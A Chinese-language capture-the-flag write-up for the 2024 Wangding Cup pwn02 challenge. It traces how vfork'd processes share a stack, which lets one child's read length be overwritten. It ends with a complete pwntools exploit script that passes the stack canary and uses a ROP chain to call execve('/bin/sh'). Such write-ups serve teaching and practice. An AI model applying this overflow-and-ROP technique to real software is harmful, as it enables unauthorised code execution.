【2024 网鼎杯】玄武组_pwn02

ctf
5k words

这题考察的还是对子进程与父进程之间堆栈的关系

debug部分参考的这位师傅

https://mp.weixin.qq.com/s/ngdtDGE8bGVe6v3GTrH1rw

依照程式启动时输出的leave your name

查看string调用找到004019e9()

web1

再追下,就到了main()中

web1

看下调用顺序

应当是

1
2
3

00401931() -> 004019e9()

但神奇的是它在程式执行过程中,首先输出的是004019e9leave_your_name

web1

而后才是00401931Wanna_return

web1

实际上在gdb的debug时候这部分的逻辑有些乱,所以我换到ida之后发现,他会进入401931()

web1

而后执行到这里会call 44EDF0

web1

eax给了0x3a这里是

1
2
3
4
5
6
7
#syscall
rax:系统调用号
rdi:第一个参数。
rsi:第二个参数。
rdx:第三个参数。
r10:第四个参数。
....
1
58	common	vfork			sys_vfork

所以这里是syscall_vfork创建一个子进程

在其中他会sys_vfork,创建一个新的子进程。

web1

也就在这时,输出上看到第二个func的内容被输出了。

web1

这让我有点懵了,我能想到可能是子进程去执行了401931(),而父进程是在子进程之后才执行的自己的输出。

但我感觉这明显是不合理,子进程正常是会从父进程继续往下走,也就是说子进程也会去先输出父进程401931()之后的内容。

但现在执行的现象就是如此,没办法只能从先输出内容的func.004019e9来看

先观察004019e9的逻辑

web1

debug进入到他的read发现他会读入0x40

web1

而后004019e9进程继续执行的话就会执行到sys_exit,整个主进程的逻辑就结束了

那既然vfork的子进程会和主进程共用一个栈,那问题可能会发生在主进程派生子进程的位置,也就是刚刚func.00401931()sys_vfork位置,就是子进程开始执行的位置。

让我们返回func.00401931()仔细看下,会发现在子进程执行回来的路径上有一个cmp 1他会跳向ret的位子,以及还有一个cmp dword [var_2ch], 0也可以做到。

web1
web1

这是一个肥肠怪异的事情,他在主进程的时候满足了很多个点可以跳到ret然后返回到main执行

web1

web1

那这里为什么又要单独写一个cmp 1来做je跳转到ret

再进入子进程看下

web1

然后到跳cmp 1的部分看下因为我这里一开始用的p64(2)来填充的,不难看出这个位置其实就是我们最初leave_your_name输入的内容

web1

这里是cmp 1没成立,然后再跑了几下就到nop了,就error了,所以他存在意义就是为了让我们能通过cmp 1来到达ret,可以想到这就是出题人给我们的route.

那就要看下子进程的这个ret返回的位置,不同于主进程,这里被放置了一个0x040186b

web1

修改payload填充p64(1),到子进程继续执行到这里他返回到了mian

web1

第一阶段基本就这样了。


这里有个0x44edf0,会再派生一个子进程

web1

每个子线程在之后走到00401a55

web1

进入这里的0044ee30

web1

会执行sys_exit退出当前进程

web1

所以他的目的就很明确就是为了让0x44edf0派生子线程于main这一段进行基于子进程派生之间的伪循环

web1

这里有个read,这里会触发一次读入

web1

首次填入b'A'会在这里进行syscall_read到栈上,可以看到他给的rdx0x100

web1

因为我只给了0x10个所以填入了 16个A

0x7fffb1bd15b8

web1

此时进入到这个函数中

web1

栈除了最初的16个A之外还没别的被添加

web1

0x401020函数中继续走,我发现

web1

(这一段我是另一个进程debug的所以A被写入的地址变了)
经过这里之后,我们原本输入的值又被再次写入到了下方

web1

那可能就是这一块出了啥问题,导致我们的输入又被写入了一次

web1

1.先把rsi写入到xmm2

web1

2.把rsi + rdx - 0xf指向的写到xmm3

web1

这个rsi + rdx - 0xf指向的我们输入的第5个字节-第8个字节

web1

不过这里并没有对地址进行写入 所以不是这里

3.这里他将xmm2的内容也就是我们输入的那部分,写入到了rdi的地址

web1

这里rdi是0x7ffc2d9696a8,目前还没写,执行之后,这里就被再次写入了

web1

再往下走这个进程就结束了

那我们现在的疑问就是在他下一个子进程中栈会发生什么变化

继续往下走看接下来的子进程(我这个子线程开时间长了gdb会崩溃,所以重新又开了个进程,被写入的栈地址和上面的对不上)

走了两步发现这里从rbp - 0x118取了个值

web1

可以看到他在这个地址上存了个0x100,这个内存地址正好是在我们第一轮输入之前,不过刚刚xmm2写入的位置确是又位于他之前,也就代表可能这个位置在xmm2写入的时候会被覆盖到

web1

不过这个覆盖了又该做什么用处呢,带着这个疑问接着往下走

可以看到他这里下面进入了0x44f810

web1

0x44f810其中会syscall调用read

web1

此时我们看下它每个参数到在syscall_read是代表的什么

web1

可见rdx代表了被读入的长度,rsi是要写入的目标地址

web1

然后就写入了,这里如果能利用xmm2的写入覆盖掉0x100也就是写入长度,那就可以在第二轮once写入的时候实现溢出

有点好奇,返回来看了下xmm2写入的地址rdi是怎么确定的,看下来发现是

web1

跟到xmm2写入之后的rdi也正是rbp-0x50的位置,

web1

让我们再一次回到xmm2写入的地方计算一下

web1

此时rdi也就是马上xmm2要写入的地址0x7ffce77ccfd0

web1

0x1000x7ffce77cd040

1
2
3
4
5
pwndbg> p/d 0x7ffce77cd040-0x7ffce77ccfd0
$1 = 112

>hex(112)
0x70

也就说明只要初次once时允许写入'A' * 0x70就可以覆盖到之后,其他子进程read时rdx的长度取值

那我们就要回到初次写入时,看read的数量是否>=0x70

web1

可以看到最初这里允许read0x100个那妥妥是够了

所以我们直接输入0x70个字符,当然这里为了方便看我在最后的8位替换为1

又回到xmm2二次写入这里(不知道为啥这一遍调试时候xmm2不见了,为了方便记忆还是叫这部分xmm2把)

web1

看到原本0x100的位置成功被我们覆盖

web1

继续跟进,不出意外这次我们的子进程的rdx取值部分就会被覆盖,从而使得我们的read字节数量应当为0x11111111

web1

看到已经成功了,这里我们考虑让他派生的子线程跳出循环,和跳出最初的输入名字那里的cmp 0x1一样,往下走有个cmp 0x11111111,过去就可以跳出.

web1

看一下它比对的位置

web1

看了下其实就是第一个输入时候的头8字节,只要头8个字节的’A’替换为0x11111111

就可以跳出让其成功ret

那我们现在拿到了两个可利用的条件,让我们思考一下怎么实现栈溢出

1
2
3
1.首先我们在第一轮输入`"0x70"`个`'A'`或者别的字符,让其派生的子进程中的read可以溢出

2.在派生的子线程中进行写入,但是要能跳出`0x1111111`的检测才可以ret

我们来看下派生的子进程中的cmp 0x1111111,这里我们需要用第一轮覆盖同样0x100的方式,让第二次xmm2来让其覆盖到这里。

我在派生的子进程中用0x22222222来填充

web1

可以看到这里正好在这次2的填充之前,那也就知道了,需要用之后的xmm2来覆盖这里

淦啦这里因为gdb又崩了所以地址都对不上了,这里rdi指向的xmm2最初写向的地址0x7ffdce429f58

web1

被派生的子进程,0x41414141那就是检测0x11111111的位置

web1

距离100也就是0x64

payload修改为

web1

在看派生的进程过了xmm2这里的堆栈

web1

成功被修改为0x11111111

这样在派生的子进程-》再派生的子进程-》派生的子进程,因为共用一个堆栈,导致就成功过了cmp 0x11111111

我们试一下

web1

成功嘞

再看下$rbp的地址距离

web1

再重写payload,再执行

web1

然后这里我用0x44444444来做标记

web1

我本以为这里往下走走就结束了准备直接execve一条龙了,结果他到ret之前又call了个函数,直接给我进程扬了

进来之后是这样的,是个检测的样子,我懒得分析了..所以采用肉眼观察法(

web1

结合它一开始给我们的gift,那这应该是canary的检测,我们需要清理一下填充,在最后一个溢出的进程这里重新看一下canaray的位置

这里他给我的是0x427ac53c87d9d800

web1

他在最后溢出的进程栈的这个位置,就是canary

web1

这里覆盖的话我一开始准备用上一个进程的xmm2来覆盖rbp-0x8,不过我发现他好像有数量限制

为了验证我修改了payload,来做区分

web1

然后再走到最后的线程看覆盖情况,发现xmm2挪过去(红框)的空间其实只有256

web1

那我们溢出的部分就还是老老实实用read写入的来算偏移

web1

偏移152也就是0x98

改一下payload

web1

rbprbp+0x8加俩占位

可以看到canary成啦

web1

rbp也ok了

web1

这样就可以直接打execve了 syscall_read + syscall_execve取值一把嗦!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = 'debug'
#sh = gdb.debug("./pwn","set follow-fork-mode child\n set detach-on-fork off \n b *0x401A30 \n b *0x401995 \n b *0x4018D4 \n c")
#sh = gdb.debug("./pwn","set follow-fork-mode child\n set detach-on-fork off \n b *0x4019ED\n b *0x4019b0")
#sh = gdb.debug("./pwn","b *0x4019b0")


sh = process("./pwn")
sh.recvuntil(b": ")

canary_value = int(sh.recvline(), 16)

rop_pop_rdi = 0x40213f
rop_pop_rsi = 0x40a1ae
rop_pop_rdx_rbx = 0x485feb
rop_pop_rax = 0x450277
rop_syscall = 0x41AC26
ret = 0x40101a

sh.sendafter("leave your name",p64(1)*8)
sh.sendafter("Wanna return?","B")
sh.sendafter("once again?",b"A"*0x70)
sh.sendafter("once again?",b'P' * 0x64 + p32(0x11111111) + b'L'* 0x98 + p64(canary_value) + p64(canary_value) + p64(0xbadaabad) +
p64(rop_pop_rdi) + p64(0) + p64(rop_pop_rsi) + p64(0x4c5000) + p64(rop_pop_rdx_rbx) + p64(0x8) + p64(0) + p64(rop_pop_rax) + p64(0) + p64(rop_syscall)
+
p64(rop_pop_rdi) + p64(0x4c5000) + p64(rop_pop_rsi) + p64(0) + p64(rop_pop_rdx_rbx) + p64(0) + p64(0) + p64(rop_pop_rax) + p64(0x3b) + p64(rop_syscall))
sleep(1)
sh.send(b"/bin/sh\x00")

sh.interactive()

整个流程

web1